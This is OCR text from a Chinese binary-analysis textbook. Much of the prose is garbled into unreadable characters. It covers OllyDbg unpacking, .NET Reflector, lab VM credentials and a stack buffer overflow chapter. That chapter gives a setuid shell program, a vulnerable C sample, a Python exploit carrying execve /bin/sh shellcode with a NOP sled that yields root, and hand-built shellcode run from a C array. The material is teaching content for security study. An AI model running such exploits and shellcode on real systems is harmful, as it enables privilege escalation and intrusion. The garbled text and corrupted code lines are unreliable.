e 21 DB 21 Find references to 4 !
EE4E1 828 ic OE iC 5
SR e OB 5 e . Set real SFY entry here
HE4E1822 ER OE ER "
aE4a1823 12 0B 13 Copy to executable 4

Analysis 4

Baolmark s 7CE17BE7[ RETURN to kernel32.7C817667
ggggg;;a SSHSSHEE HE| AR AF BE E6 ESCH Dunp debugzed process g EEEEEEEE ntdll. FCoazes
BE4EEE0E| 29 91 OC 46/ DS 26 55 OB| )70 - | Aogaddatds
BR4EZE16| 30 46 OB C7| 69 DA 28 42| 0FE L7H A| B
BE4E3615| B2 FF ¢F BF EA 27 FE E5|8  Aope Appedrance (8 2| s
BE4AZEE0| 6B 26 EC 50| 9E CA DB 25| kG B fEDGces
AR4ASAPRIFF FA 48 AR AR AR AR AR AR T et Wk S D =,

A BCEHEEI
AR AE R e B

BTk, %P7, REREFSTE 00401000 4L H Wris1T .

SRR, AIPAT il D e i 7 AR, an R BB o R g Y
AKf5, BIEAZ R Cul+A, OllyDbg 2> 5 ¥ 7 B A .

\ BNl

00401000 /$ 55
00401001 8BEC
00401003 837D 08 02

/
I
| .
00401007 |. 7D 1F
00401009 |
I
I
I
I

0040100

00401014 83C0o 40
00401017 50
00401018

68 F4204000
FF15 A8204000

FF15 A0204000

PUSH EBP

MOV EBP,ESP

CMP DWORD PTR SS:[EBP+8],2

JGE SHORT packerpa.00401028
PUSH packerpa.004020F4

CALL DWORD PTR DS:[4020A8]

ADD EAX,40

PUSH EAX

CALL DWORD PTR DS:[4020A0]




011¥Dbg — aspackpacked. exe — [CPI — main thread, module aspackpal

Eile ¥iew Debug Flugzin= Options Window Help

S4x| wjlI| wij¥ 4] 2| » LlEM|T|wlH|c|/|K|B|R|..|S| E[EF]"

s B FUSH EEF
aEd4E1aEL (| .« SEBEC oW EBF, ESP
AEdE1@aas(| . 8370 83 a2 CHMF DWORD FPTR S5:[EBF+81,2
AEdA1AEF (] 70 1F JGEE SHORT aspackpa. 88481628
HE4E1EE9 | . &8 F4284088 FPUSH azpackpa.dd4d820F4 ASCII "fpacked.eds <password:E"
HE4E1EEE(] . FFIS A22848600) CALL DWORD PTR DS: [4B820AS] mewcrl@8.__p iob
aadaialid|| . S3CE 48 AOO ERX, 4@
aE4a1a17() . 5@ FUSH ERX strean
pEd4EiEals(] » FFLIS A@2@4@00) CALL DWORD FTR D5: [48Z0AE] fprintf
AE4E1ALIE(] « S2C4 B3 AOO ESF, 3
AEd4E1EZ1 ] . BE BlEEEaass MOL ERE, 1
AEdE1EZE() . 50 FOF EEF
AE4E1827() . C3 RETH
AE4E1EZ2(] » FFIS 882840600 CALL DWORD PTR DS: [4E8206HE] EIs=DebuggerFresent
aE4a1a2E(] . S5C8 TEST ERX,ERX
aad4aiazal]l 74 13 JE SHORT aspackpa.@84@1645
BE4EiEzz ||« &8 QC21ld4088 PUSH aspackpa.@od4a21ia6g format = "on debuggecE™
AR4E1EEF(] . FF1S A42@84800) CALL DWORD FTR DS: [48Z268A4] printf
AEd4E1E30(] . 83C4 B4 AOO ESF, 4
aAdElad4a(] . 83C2 FF OF ERX, FFFFFFFF
pp4a1043(] . 50 POP_EBP

A fRALJE RIACHY

JRTH AR SN UPX 584 —#F 1, ] OllyDump K SCPF 3, i
BIAERER T -

AR IRATSZE T 6 UPX Fl ASPack [FIfRES, itz 4h, W LG
B2 A 3T es . UG MR 1E, A DA —SLam B o & 4T AL 8,
HEHAE CORmE M.

iJa A BARSACE — /L et ABAE, HA AL S AL B 4 ] LURRE IF
TREMPLEE S 182, IR RIEERI 7 X A R 3, R B RENS i
A AR A NLAS IR S 162, Al € RE IR BB 1 75>

TR W8T NET a5 1 N H T2 7

NET HJW AT Java 25 AL, 74w PRI 25 A2 B—Fh YA

MSIL (Microsoft Intermediate Language) W& S, JHIEIZITH
iHid CLR (Common Language Runtime) #%4t il Ak PE 28 GE 18 R RE )
MLasiE S - Bk, A Java —#F, X .NET B Hra Al 24 7% MSIL
53T o



I [ g% 4% 7] LA ] NET Reflector 8.

e .NET Reflector 8

http://www.red-gate.com/products/dotnet-development/reflector/

#° _MET Reflector 8.1.0.35 - 13 days remainine M=
: Eile Edit Yiew Toolz Help
Q0| HE|EEL| |6 #[NeT45 ]|
|Search Object Browser (Ctrl-F) | o 3 Form e
{} <CpplmplementationDetails> ~ t A
{} <CrtlmplementationDetailz> H . 3 |
o {} sampledatMet Eurwate clazz EnumThreadWindowsCallback
= 4% Forml #¥ Fields
= #) Base Types private Lizt<{HandleRef> ownedWindows;
Bl Svste m.'l.l'l.l'n.:l-:.:.--.::s:.Fu:ur ms.Farm # Methods
“t¢ GontainerContral internal EnumThreadWindowsCallback
tu Derived Types internal bool Gallback IntPtr hithd, ntPtr IParam);
® ctord internal void ResetOwners(;
oot . internal void SetOwners (HandleRef hRefOmner?;
&% “Form10 : Void }
ii,@ buttor?_Click 0bject, EventAres) @ Waid . B ) .
_}@ Dispose{Boalean) : Void ?rwate clazz Security ToolTip : [Dizposable
&% InitializeGomponent ) : Void /¥ Fields
¥ buttar : Button priva:e E_Dl:ﬂ first;
: . private Form owner:;
i‘no companents : Container private ztring toolTipText;
{} =td private ToolTipMativeiindow window:
{} wc_attributes =
v £ Methods
= 3 Becource internal SecurltyTquTlp(Form OYnEr;
public void Disposet),
private woid FurmHandIeGreated(nbeDect zender, Eventfres el =
private void FormLocationChanged object sender, Eventéirgs el
prwate NatweMethodS TOOLINFO T GetTOOLINFOC' w
tmvem =] simid D bmm | e | e —
Al [ | ¥

A XA NET %% 5 It) EXE XA 34T ) 90 PRI 45 1

XFT Java Al NET 2 5 (N P AR 7oKk, 38 1m) TR ) B R 0T AN 2 H
VRS A S g s — i — g AT 0 A, T2 < hn )3k iR H e 2l
AR A BACES . Btk X T Java A1 NET {1 i T A7 75 2
IBCARARIBATTZ HT VR I A 7 AN R o

JAAE —$g, A —IRETORBEW IR e dm RO MERE, b 28T
FRENG LA e SO S I HE A, IRt & ST R 2
[ 7K T 1E 358 0 L7


http://www.red-gate.com/products/dotnet-development/reflector/

%35 AR IR R EE AT B

ARz, AT AREN A — LA IR R X s TR ST Bk )
J7iE, UL R A e s B

RE A H W 2 H AR K T 1L A $E 22 SRR, 4o ) A2 U VI A
PN Y 77, WS e — R sE il 1 s . Em— R E— 3,
G BT RS, (B AR R AT . mAAEIX AN
ii@ﬁﬁ%%ﬁﬁ"]ﬁﬂﬁ#ﬁlﬁiﬁ, 25 —771H, X IE X — 4 ) SRR B
t -

Z I ERATIHS /2 £ Windows IAEE SR UEAERT, MIX BTG FRA TR 2248
FreeBSD VL & Ubuntu Linux KT HHE 7. Hd, FATES7E FreeBSD
P& s s R 22 o X B BATAE R ACS”, 7E Ubuntu Linux _|78#
NPT B I EAR”

WEARR K FEBWAIAEE, TN T MNEE T2, XA AT LA
F} VMWare Player Kiz1T .

e VMWare Player
http://www.vmware.com/products/player/

e FreeBSD-8.3
http://07c00.com/tmp/FreeBSD_8.3_binbook.zip

e Ubuntu-12.04
http://07c00.com/tmp/Ubuntu-12.04_binbook.zip

X BB AR S S P ARSI R
e FreeBSD

HF 4. root; #13: root


http://www.vmware.com/products/player/
http://07c00.com/tmp/FreeBSD_8.3_binbook.zip
http://07c00.com/tmp/Ubuntu-12.04_binbook.zip

4. guest; #fil: guest
e Ubuntu
FF4: root; ZiL: guest
P 4: guest; Zh9: guest
A FAT T T Aa e !



3.1 A2 X R AT AL B ARAS

3.1.1 5| KM Xia i s BrE T

fﬁ#ﬁ’]ﬁé]ﬁi?ﬂqﬁ gz X s (buffer overflow) f&&A % WA
2o TRIHRUL, 22 X H B2 R A B E TR e N AR
YL, iﬁ%{mﬂj%ﬁlﬁfhﬁi .

BB, REE—ETHWRETFBITESEEFENEGR QR
chap03\FreeBSD_8.3_x86) -

Vv samplel.c

#include <string.h>

int main(int argc, char *argv[])

{
char buff[64];
strcpy(buff, argv[l]);
return 0;

}

v BT

$ gcc -Wall samplel.c -o samplel
$ ./samplel "“python -c 'print "A"*70""
Segmentation fault (core dumped)

samplel.c IXMFEFHUA G2 X i H IR -



IXANET N buff BB T —3 64 FATRINAES 0], BAERLGTE T )
28 argv[1] A ERERAR, RUWSHHKEZRA G 64
T

strepy BREUH T 287578, —EHEHIBI PR RS, HERa0”N
1k P, HH PSS RERFEE B 64 TR TSR, Bie
£ main PR GRS X H o

RERE ST, ARSI 64 TN, FEFPRAT R RGA
A, XN T AN

3.1.2 ik HE AR R Iz iR P

Linux 1 FreeBSD A — N RS B0 1 iy 2 “passwd” . 255 —fi% £
{#1E /etc/master.passwd. /etc/passwd Fll /etc/shadow Z5H1, %H root AR
R A2 TEVEAS DX L A1

SR, R R A root A BRI, fERERELSIBATE, T34
e E— AL LR 8 R U RE i I A B B AR, IR AL 2
setuid. setuid I ZhaEE 1L P AE AR B A & BURKRISTIET .
TATRE T XA £

v BT

$ 1s -1 /etc/passwd
-PW-r--r-- 1 root root 1020 Nov 8 11:54 /etc/passwd

Jetc/passwd LA SR VFER root LA P #EATE N, {H passwd Ay 4]
DL GEid setuid ALED 1 PL root AR K47 .

v BT~



$ 1s -1 /usr/bin/passwd
-P-s--X--X 1 root root 12292 Feb 22 2001 /usr/bin/passwd*

HRFKIERPRE 2 er-s”, X f)“s” RNz 20 H setuid.

N sample2.c & —/MRE RIS, T execve BREUKIZIT
/bin/sh.

Vv sample2.c

#include <unistd.h>
#include <sys/types.h>

int main(int argc, char *argv[])

{
char *data[2];

char *exe = "/bin/sh";

data[@]
data[1]

exe;
NULL;

setuid(0);
execve(data[@], data, NULL);
return 0;

AT root BRI F 1%L, JA)E K E setuid.

\ S RN |

$ su
Password: il Aroot# 5
# gcc -Wall sample2.c -o sample2



# chmod 4755 sample2
# 1s -1 sample2
-rws--x--Xx 1 root guest 4832 Sep 3 07:47 sample2

X FRATA I sample2 FIALFRAZ AL T “rws”, XRRNCEJGH T setuid.

MERANTH X LA E A P AR 2 TIX MR TR, 2 H root &Bﬁﬁﬁﬁ execve
BRI, KRRk, A 2 A root AR S B binsshl, X4 fE

55 o

1 binssh 2 UNIX KRG l04b A2, WS root BUR S0 T &, M4 T T LU root AUFR X
RGHATARTERAE B

v BT~

$ whoami
guest

$ ./sample2
# whoami
root

ZAR, RGO N A S NIRRT XA setuid. AN, &
samplel IXFEFEF — B U IrA HRIRE1T, Bl HIsz e X i s
T, Bt A HUOBLRR

3.1.3  BLPR R dnfar 4 <3 B

T HFRATRE —A>2F BB R 1941+

FATHES — N IRIFE 27 sample3.c, LA H 34T B ZF BURUIR 1
exploit.py. MR FFIAASIRA I 5 BT R:, 15 R eigfr—NE




Ao

Vv sample3.c

#include <stdio.h>
#include <string.h>

unsigned long get_sp(void)

{
__asm__("movl %esp, %eax");
}
int cpy(char *str)
{
char buff[64];
printf("0x%081x", get sp() + 0x10);
getchar();
strcpy(buff, str);
return 0;
}

int main(int argc, char *argv[])

cpy(argv[1]);
return 9;

Vv exploit.py

#!/usr/local/bin/python

import sys
from struct import *

if len(sys.argv) != 2:
addr = 0x41414141
else:
addr = int(sys.argv[1l], 16)

S =




+= "\x31\xcO\x50\x89\xe0\x83\xe8\x10" # 8
+= "\x50\x89\xe3\x31\xco\x50\x68\x2f" #16
+= "\x2f\x73\x68\x68\x2f\x62\x69\x6e" #24
+= "\x89\xe2\x31\xcO\x50\x53\x52\x50" #32
"\xb0\x3b\xcd\x80\x90\x90\x90\x90" #40
+= "\x90\x90\x90\x90\x90\x90\x90\x90" #48
+= "\x90\x90\x90\x90\x90\x90\x90\x90" #56
+= "\x90\x90\x90\x90\x90\x90\x90\x90" #64
+= "\x90\x90\x90\x90"+pack('<L',addr) #72

n n nun. n . nun n nu n n
+
1l

sys.stdout.write(s)

v BT

$ su

Password:

# gcc -Wall sample3.c -o sample3
sample3.c: In function 'get_sp':
sample3.c:9: warning: control reaches end of non-void function
# chmod 4755 sample3

# exit

$ ./sample3 " python exploit.py"

oxbfbfebe8

Segmentation fault

$ ./sample3 " python exploit.py bfbfebe8 "
oxbfbfebe8

# whoami

root

sample3.c [l cpy BRELS RN B 747 5 I AR A H B2 1 21— B 64
FHRINAEEY . H TR ESHHAPEERAR, Fitkin 5%
exploit.py )% H 45 % N5 sample3.c, FATHEEINHLLETE & (root)
BURIZ4T T /bin/sh.



3.1.4 s w4 FH A7 A3 18] 1Y

TR B A BE R TINE 7 B AR — B, BATIAE S AR ] 4
MW A2 TR T aa P -

Mg — M AR T3, R 2 L e B B MR A A
T RIFAR R E R SAAE RO, B A N A ],
R A8 BT BRI R A A T IR R AE AT 2

> [E) AR AR N K

TR AR TAE R, ATTCAE A pushy pop 82 HE — T4 R

bffffGe8 bfffféec bffff6f0  bffff6f4  bffffefe  bffffefc  bffff700

EREFF T IRIB AT, SR B et L (bl o R RN
bffff6fc (ebp=esp) -

NG, AT bffffefc F E2FH —1> 0x01. WHERFKEFERE—T NEH
[) esp. ebp A1 bffff6fc Ml (A



esp = bffffefc
ebp = bfffféfc

00000001

bffffbe8 Dbffffbec  bffff6f0  bffffGfd  bffff6f8  bfffféfc  bffff700

bffff6fc FI{E N 0x01. FEIXAVIRE T, WRIATHAT push F542anf]
We? flan, AR LARAT push 0x02.

esp = biHf6fs RISt
ebp = bffff6fc ELHieHF T

/

h 00000002 | 00000001

bifff6e8 bffffec bFff6I0  bifffet4  bifffels  bifffsfe  bifff700

I R IE 2 0x01, T 0x02 % PR A7 ZAH ST A itk 1

TR BIIXFE, Ae WEAERT CrithdikidiR sy m) KM . B FRATA K
AT push #54, push FIMERL S AWAFE N ESEATHI N AFbAE . esp #F
1725 R U ORAF T ol AR N A7k



esp = bffffbec  #FHFesHE A
ebp = bffff6fc  gyrfestFra

00000005 (00000004 100000003 | 00000002 | 00000001

bffffGe8 bffffGec bffffBI0  bffff6r4  bATfGI8  bffffefc  bffff700

LA b ¥ 0x02~0x05 HI{E LY push IR FRIRES
> MR EH s
N HFRATRE — T WA H U i i 2 A2 BRI L

MAR P E G, AT R pop 184, pop 1644 MR S (AL
HEHCH — 25504

AR A AR AL B A EIX A He B T Cesp)

esp = b6 HhiE4tiis
ebp = bffft6ic

000000041 00000003 (00000002 [ 00000001

biftfée8 bffffeec bIFIGI0  bifff6f4  bIFfGIS  bffffefc  bIF700

N FRATIR AT pop eax.
ATHINI A J5 push I EHE v 0x05, X824 B 5% pop Hi2K.



I, eax HLH & # /A 0x05.
HHPAT—IK pop, FATHEE T 0x04. 1R f&]HIE

IXHS, esp MME M S RAEMMIARLL, Je M bifff6ec AZ % bffff6f0, X J5
FIAS il bffff6f4

esp = bffff6f4  #ITFEAX pop 2 BHIE
ebp = bfffféfc

00000003 | 00000002 | 00000001

bffffée8 bfffféec  bffff6I0  bffff6f4  bIfff6T8  bffffefc  bffff700

REARRBIFRAE, R EACAETX R A I A AF 2 (B AR BT L T .

I —$2, EER LFEYF, M /E LIFO (Last In, First Out) , Elf5f
Soth o TG PN X P Ale 3k o H i Y4 FIFO (First In, First Out) o

3.1.5 I W AT = AR
FRATAE RO ) S5 M) b 2 F 2R P RE 2

Vv sampled4.c

void func(int x, int y, int z)
{

int a;

char buff[8];
}

int main(void)
{
func(1, 2, 3);




return 0;

v BT R

$ gcc -S sampled.c

KK YE sampled.c, FFIN b -SIETHEAT Y 13, 854 sampled.s
A, X2 sampled.c VL ZmiE 1005,

func BRECH =428, aMEE T 1. 20 3 =AM, 1M func KA
AT AT AR AT AL

Vv sampled.s

.file "sample4.c"

.text

.p2align 4,,15
.globl func

.type func, @function
func:

pushl  %ebp {Rf7ebp

mov1l %esp, %ebp ¥ebpteshElespiIfii &
subl $16, %esp
leave Pk E ebpFlesp
ret Bk A% 2118 FH 1% e B A B
.Size func, .-func
.p2align 4,,15
.globl main
.type main, @function
main:
leal 4(%esp), %ecx
andl $-16, %esp
pushl  -4(%ecx)




pushl  %ebp

mov1 %esp, %ebp

pushl  %ecx

subl $12, %esp

mov1 $3, 8(%esp) H3IZH

mov1 $2, 4(%esp) 2B

mov1l $1, (%esp) F1ZH

call func W func R %L
movl $0, %eax

addl $12, %esp

popl %»ecx

popl %ebp

leal -4(%ecx), %esp

ret

.size main, .-main

.ident "GCC: (GNU) 4.2.2 20070831 prerelease [FreeBSD]"

£ C B 5 %I int B2, EILS01E 5 1 7 21E call func Z HIAFK
Flprb . REXBEBNRZREBAT (L push 452, HIIRERAFIK.

v R I AR T 1

push $3 // esp-=4, ¥3ik ANesp+0
push $2 // esp-=4, F¥2iX Nesp+0
push $1 // esp-=4, ¥1ik Nesp+0

v R B TN AR TV 2

subl $12, %esp // esp-=12

movl $3, 8(%esp) // ¥$3i%ANesp+8
movl $2, 4(%esp) // ¥2i% ANesp+d
movl $1, (%esp) // ¥1i% Nesp+0




KSHMRSE, @i call 82 WA T

A jmp ANE], call ALCAE N 2875842 Fhhk, R AEpkEs 2%
ik 2 B, 7oKz B HhE (ret_addr) push Z|#eH .

=M func BN, FEBRES B ek BoR I hE AR R], MR a0 R

I

ret_addr $1

$2

$3

( NFFMRfL )

)5, R XARAT T push ebp.

[ ATFSN ]

MR, esp ZRELIE IR, VPR B R AR B O i A AE A A

a&buff | %ebp | ret_addr $1

$2

$3

{ AR )

WAEET=S

XIS, wRAEE G, TR 4 HU buff (N, 2R

fradine?

4 buff J5TRIHYT %ebp. ret_addr LA A% id 45 func BRI S8R =9



HH PR RSCHRE 78 i

X B A BE T, — B %ebp M ret_addr #E s, K5l K ER G
. ret_addr £ 2 B EIE 4R 45 PR R IR [B] main RN H brdtiht. Bk
e, WARERE 1 ret_addr, BodiFwla] DLERE ke B Emibat. 0
RBuE#F RS — B, RSBk 2K B, Wit T
I HCdr 1A PAT AR AR TR TR

3.1.6 H gdb BEFE BTN KGN

T FRATI R SR ILAIE — T IR [ Bk AT B e S 1

ks AT EALH —YAE gdb I T H . gdb &7 UNIX K#:4E R4
A, AR A AT TR, R — i

REW M . KA ALINGEESR gdb FHE, RESGIAE S5 Hm <
HUf o

iy B
r BATREF (AfLAE #2473 50
b WEW A CInE S fEdEil)

c TEWT b b S, SIS TR

X/ HUT 1 | W E R IR 22T RIC S

disas [ I

. WoRTE K s
/[ | % AT HbbEER A A7 S NS
Ix K ALIB AR E N $




x/[ BT 1s | PATAF R R SR s AR R B BB
ir R A A IE
set [F] & A7 a BN A BN E
S5
q f‘fﬁ AT, R A2 S B, XA y AT RO

HI gdb XFREFF#EAT IR T AN E
v R B E NS Hi kg 4y gdb

$ gdb testoo

v R gdb H:E 25k B

(gdb) attach 1111
Attaching to process 1111

AT E I AT 2 A0 U7 20 gdb SR JE 3l sample3.

\ BNl

$ gdb sample3
GNU gdb 6.1.1 [FreeBSD]
(gdb) disas cpy K Zwcpy



0x08048540
0x08048541
0x08048543
A

0x080485b0
0x080485b3
0x080485b8
0x080485bd
0x080485be
0x080485bf

<Cpy+0>:
<Cpy+1>:
<Cpy+3>:

<Ccpy+112>:
<Ccpy+115>:
<Cpy+120>:
<cpy+125>:
<Cpy+126>:
<Cpy+127>:
End of assembler dump.
(gdb) b *0x080485be
Breakpoint 1 at 0x80485be
(gdb) b cpy
Breakpoint 2 at ©x8048546

(gdb) r "\ "python -c 'print "A"*80'\"" I&1T
Starting program:
/usr/home/guest/sample3 " python -c 'print "A"*80'""
(no debugging symbols found)...
(no debugging symbols found)...
Breakpoint 2, 0x08048546 in cpy ()

Dump of assembler code for function cpy:

push  %ebp
mov %»esp,%kebp
sub $0x48, %esp
mov %eax, (%esp)
call ©x80483ec <_init+116>
mov $0x0, %eax
leave
ret & [a] 2 A% R B A B
nop
3R (9] i 1 L T

TEcpy Tk 15 B Wi 51

-/

(gdb) x/8x $ebp fiil%ebp. ret_addrfliZ%]

Oxbfbfebf8: ©Oxbfbfeco8 0x080485el Oxbfbfedb® Oxbfbfec20
oxbfbfec08: ©Oxbfbfec38 0x080484b7 0©Ox00000000 0Ox00000000
(gdb) x/1s @xbfbfedbe

oxbfbfedbd: 'A' <repeats 80 times>

(gdb) ¢ PBLisAT

Continuing.

oxbfbfebb8

Breakpoint 1, ©x080485be in cpy ()

(gdb) x/8x $esp ret_addri {5 ~Hox41414141

oxbfbfebfc: 0x41414141 0x41414141 0x41414141 0Oxbfbfecoo
OxbfbfecOc: 0©0x080484b7 0x00000000 0Ox000000RO Oxbfbfec38
(gdb) si

Ox41414141 in ?? ()

X H A GAETLUR LA

e 0xbfbfebf8 [1]{f A %ebp




e Oxbfbfebfc 1]~ ret_addr
o JEIH AR 2 BRI ZE
sample3 [1] cpy BRELRH—4 str 24, RIHERAE'ZHRE ret_addr.

buff[64] %ebp | ret_addr str

B ES
—

( ATFRAL ) (TSR

EXE, HT cpy HE ) buff A2 &, DAL T Y A A7 2 B A 4
B

0xbfbfebfc HIEBE M E A 0x41414141, [FH I 4F8 71247 3] 0x080485be

[¥) ret $82 1, 2B T 0x41414141 XM bk, 5350 Segmentation
fault.

IR LE buff PN —LEHLEE SRS, AR B LE SOy X Ee
A HE, XAEHUA PLE T EAN AT S AN T .

3.1.7 WAL s pl

o, BtHE bt ENPATA A RS ? 1EFRATRE — M.
W #F EHAT LIS AE shellcode. RIA—kML, REREET
/bin/sh, B #H ik REMS 52 =B HITHE ML, KL shellcode #8 5k & —BE
WA/ NINLESE S, ERThEERL A )3 8l /bin/sho

N EL 2 — B BETS )5 Bl /bin/sh FIFEFT



Vv sample5.c

#tinclude <unistd.h>

int main(void)
{
char *data[2];
char sh[] = "/bin/sh";

data[9]
data[1]

sh;
NULL;

execve(sh, data, NULL);
return 0;

FA1FE 7 B —A~ char BUFEEM A, SRS 7E data[0] 47 A /bin/sh F7F

B4 4F, 7 data[1] F /2 NULL. BT /bin/sh NFEESE, Hit
data 20 R FEAAN TR T .

execve MIZHUN 141 3 4.
o /bin/sh 777 & ({15
o WML TER 1S EE N B AL bt
o MR
KRG RN DTN, B IRATHR B NULL.
/bin/sh NG E S5, K data R AFC T /bin/sh 545 8 (3R

\ S RN |

$ su
Password:
# gcc -Wall -static sample5.c -o sample5



# chmod 4755 sample5
# exit

exit

$ ./sample5

# whoami

root

HH T sample5 &K it S EER RN, Rl execve A S WA T[T PAT
M. H gdb X execve AT T4, FATATLLURKILH A 1 int
$0x80.

v 17~

$ gdb sample5

GNU gdb 6.1.1 [FreeBSD]

(gdb) disas execve

Dump of assembler code for function execve:
0x080484f4 <execve+0>: mov $0x3b, %eax

Ox080484f9 <execve+5>: int $oxs8e HRAIH
0x080484fb <execve+7>: b 0x80484ec < _set tp+12>
0x080484fd <execve+9>: ret

End of assembler dump.

(gdb)

int $0x80 & — M ARG H

A E — FEITH I mov $0x3b,%eax 184, B HIIHEE 2% 0x3b A
eax e, Lhr b, XAMER execve RAVIHTIGR S, RGENZSHR
JRIX A5 R A R RS

bl FAINLIRE — N HAR R G 5 .




Vv /usr/include/sys/syscall.h

/*
* System call numbers.

* DO NOT EDIT-- this file is automatically generated.
*/

#define SYS_syscall
#define SYS exit
#define SYS fork
#define SYS_read
#define SYS write
#define SYS open

H

#define SYS_ioctl 54

#define SYS_reboot 55

#define SYS_ revoke 56

#define SYS_symlink 57

#define SYS_readlink 58

#define SYS_execve 59 59 -> 0x3b
#define SYS umask 60

#define SYS chroot 61

uhwWNRERO

RKRGHHM SR
e 1: exit
o 2: fork
e 3: read

e 4. write

PLILSEHE, FRATTAR I 59 XN I & execve, 4 59 Hf Ny—+75 8kl w2
0x3b 1.

JAE—$%, 1E Linux R4, RGO 5 € AT T scfEds



Vv /usr/src/linux/include/asm/unistd.h

#ifndef ASM_I386 UNISTD H_
#define ASM_I386 UNISTD H_

/*
* This file contains the system call numbers.
*/

#define _ NR exit 1

#define _ NR_fork 2

#define _ NR_read 3

A

#define _ NR_execve 11

fF Linux 7, execve K45 N 11,
HT RS AHN S EL IS ZAFRT, FI/EFIE shellcode [
I 5 R I R . BRA)UE U, B —FhEAE RS0 LY shellcode ## A

FRIE], [R5 ZE NP S HHI/E AR B 1) shellcode (249K, 26 5 BIRAT]
24121 Metasploit T B, #8813 & 0] LLH 34 1% shellcode) -

3.1.8 4] FHAE shellcode FINL231E 5 1G4S
IR YE samples KA n] HI1E shellcode MIALZS1E 5 A0,

\ S RN |

$ gdb sample5

GNU gdb 6.1.1 [FreeBSD]

(gdb) disas main

Dump of assembler code for function main:

0x08048210 <main+0>: lea ox4(%esp) ,%ecx
0x08048214 <main+4>: and $oxfffffffo,%esp
0x08048217 <main+7>: pushl Oxfffffffc(%ecx)

0x0804821a <main+10>: push  %ebp
0x0804821b <main+11>: mov %»esp,%kebp




0x0804821d
0x0804821e
0x08048221
0x08048226
0x0804822c
0x0804822f
0x08048232
0x08048235
0x08048238
0x0804823f
0x08048247
0x0804824a
0x0804824e
0x08048251
0x08048254
0x08048259
0x0804825e
0x08048261
0x08048262
0x08048263
0x08048266

(gdb) r

<main+13>:
<main+14>:
<main+17>:
<main+22>:
<main+28>:
<main+31>:
<main+34>:
<main+37>:
<main+40>:
<main+47>:
<main+55>:
<main+58>:
<main+62>:
<main+65>:
<main+68>:
<main+73>:
<main+78>:
<main+81>:
<main+82>:
<main+83>:
<main+86>:

(gdb) b *0x08048254
Breakpoint 1 at 0x8048254

push  %ecx

sub $0x24,%esp

mov 0x806cdd8, keax

mov 0x806cddc, %edx

mov %eax, oxffffffec(%ebp)

mov %edx, oxfffffffo(%ebp)

lea oxffffffec(%ebp),%eax

mov %eax, OxfFffffa(%ebp)

movl  $0x0,oxfffffff8(%ebp)

movl  $0x0,0x8(%esp) F3ISH
lea Oxfffffff4(%ebp),%eax

mov %eax,0x4(%esp) F25H
lea oxffffffec(%ebp),%eax

mov %eax, (%esp) F1SH
call 0x80484f4 <execve> IiHexecve
mov $0x0, %eax

add $0x24,%esp

pop %ecx

pop %ebp

lea oxfffffffc(%ecx),%esp

ret

Starting program: /usr/home/guest/sample5

Breakpoint 1, 0x08048254 in main ()
(gdb) x/8x $esp HfiikexecvellIZ %
oxbfbfecd40: ©Oxbfbfec54 Oxbfbfec5c 0©x00000000 ©x00000001
Oxbfbfec50: 0x00000025 0x6e69622f 0x0068732f ©Oxbfbfec54
(gdb) x/1s ©xbfbfec54 sh = "/bin/sh"
oxbfbfec54: "/bin/sh"
(gdb) x/2x @xbfbfec5c data
oxbfbfec5c: Oxbfbfec54 data[@] = "/bin/sh"
Px00000000  data[1] = NULL

FATLE I execve R TT (0x08048254) V& Wi, il — NI
NAEIRES



esp = bfbfecd
/ ¥

bibfechd | bfbfecobe | 0000000 | 00000001 | 000000251 /bin FEY,

btbfecdl bibfecdd bibfecd8 bibfecdc bfbfech(0 bfhfechbd Dfbfechs8

bfbfech4 100000000

bibfecSe bfbfectd

execve i B2 NS, AT,
o % 1Z%: Oxbfbfec54 (/bin/sh [11Hl)

o 32 5%: Oxbfbfecs5c (/bin/sh [t DA & 25N NULL 2%
ZH)

e ¥ 3Z%: 0x00000000 (NULL)
WAETRATE A 4% 18 sample5.c AT FIRE R BB HEP T T .

Oxbfbfec4c Fl1 0xbfbfec50 HI{E 5 execve B T8, HIRATAT LK &
I, FRBAVESS T —BSEBRERAAICE, WHR.



esp = Rfbfecdl

bibfecdc | bibfechb4 | Q0060006  /bin /sh\0 1 bfbfecdc | 00060000

btbfecd( bfbfecdd bibfecd8 bfbfecdc bibfeck( bfbfechd bfbfeck8

BT 45

oK, AR E —BILgiE ST, B LidEdE 5 A 251 esp LA
JG I E, I execves

N IHI Y] sample6.s 23 A AR H S AN H execve AT IEHE, ARG HAT int
$0x80.

Vv sample6.s

.globl main

main:
xorl Y%eax, %eax
pushl %eax data[1] (NULL)
movl Z%esp, %eax
subl $0x0c,%eax
pushl %eax data[@] (/bin/shiyihitt)
movl Z%esp, %ebx
pushl $0x0068732f F#iH:”/sh\0”
pushl $0x6e69622f “FfFHi”/bin”
movl %esp, %edx
xorl Y%eax, %eax

pushl %eax F3ZH
pushl %ebx ?ﬁZégii
pushl %edx ENE S
pushl %eax callfiR [t (AT RUAEREAED

movb $0x3b, %al
int $0x80




NHIFATH objdump K b AR EE BOHLERE S

v BT

$ gcc -Wall sample6.s -o sample6
$ objdump -d sample6|grep \<main\>\: -A 16
080483c4 <main>:

80483c4: 31 co xor %»eax, heax
80483¢6: 50 push  %eax
80483c7: 89 €0 mov %esp,keax
80483c9: 83 e8 Oc sub $0xc,%eax
80483cc: 50 push  %eax
80483cd: 89 e3 mov %esp, %ebx

80483cTt: 68 2f 73 68 80 push  $0x68732f
80483d4: 68 2f 62 69 6e push  $0x6e69622f

80483d9: 89 e2 mov %»esp, kredx
80483db: 31 co xor %»eax, seax
80483dd: 50 push  %eax
80483de: 53 push  %ebx
80483df: 52 push  %edx
80483e0: 50 push  %eax
80483e1l: bo 3b mov $0x3b,%al
80483e3: cd 80 int $ox80

NG BATT T BN — T X B Z51E 5 1S 2 S RE AN BE A% shellcode 1Y)
Diag. FATT0T AR % B FIpL 288 S AL 9% S5 1 H R

Vv sample7.c

unsigned char shellcode[] = {

0x31, Oxco, // Xor %eax, %eax
0x50, // push %eax
Ox89, 0Oxe0, // mov %esp, %eax
0x83, Oxe8, 0xOc, // sub $0x0c, %eax
0x50, // push Z%eax

0x89, oxe3, // mov %esp, %ebx




Ox68, Ox2f, Ox73, Ox68, 0x00, // push $0x68732f
Ox68, Ox2f, Ox62, Ox69, Ox6e, // push $0x6e69622f

0x89, Oxe2, // mov %esp, %edx
0x31, Oxco, // Xor %eax, %eax
0x50, // push %eax
0x53, // push %ebx
0x52, // push %edx
0x50, // push %eax
oxbo, 0x3b, // mov $0x3b, %al
oxcd, 0x89, // int $0x8e

s

int main(void)

{
void (*p)(void);
p = (void(*)())shellcode;
JOK
return 0;

}

v BT

$ su

Password:

# gcc sample7.c -o sample?7
# chmod 4755 sample?7

